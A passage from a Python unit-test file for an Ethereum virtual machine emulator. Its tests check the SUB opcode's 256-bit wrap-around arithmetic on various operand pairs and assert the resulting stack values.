address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338674])
def test_SUB_40(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [54277541829991966604798899222822456806220305312019014393495742503709279518689])
def test_SUB_41(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SUB_42(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338689])
def test_SUB_43(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338705])
def test_SUB_44(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338721])
def test_SUB_45(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [112173586448650064316584391727172500323010843073665145100027519020247744057585])
def test_SUB_46(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639919])
def test_SUB_47(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920])
def test_SUB_48(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639921])
def test_SUB_49(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819936])
def test_SUB_50(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301247])
def test_SUB_51(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SUB_52(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [16])
def test_SUB_53(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [32])
def test_SUB_54(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(16)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718896])
def test_SUB_55(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639903])
def test_SUB_56(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904])
def test_SUB_57(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639905])
def test_SUB_58(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819920])
def test_SUB_59(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301231])
def test_SUB_60(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920])
def test_SUB_61(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SUB_62(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [16])
def test_SUB_63(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(32)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718880])
def test_SUB_64(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639887])
def test_SUB_65(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639888])
def test_SUB_66(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639889])
def test_SUB_67(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819904])
def test_SUB_68(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301215])
def test_SUB_69(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904])
def test_SUB_70(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920])
def test_SUB_71(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SUB_72(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(48)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718864])
def test_SUB_73(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921023])
def test_SUB_74(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921024])
def test_SUB_75(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921025])
def test_SUB_76(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504337864336479446903994433332925807491374665101040])
def test_SUB_77(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
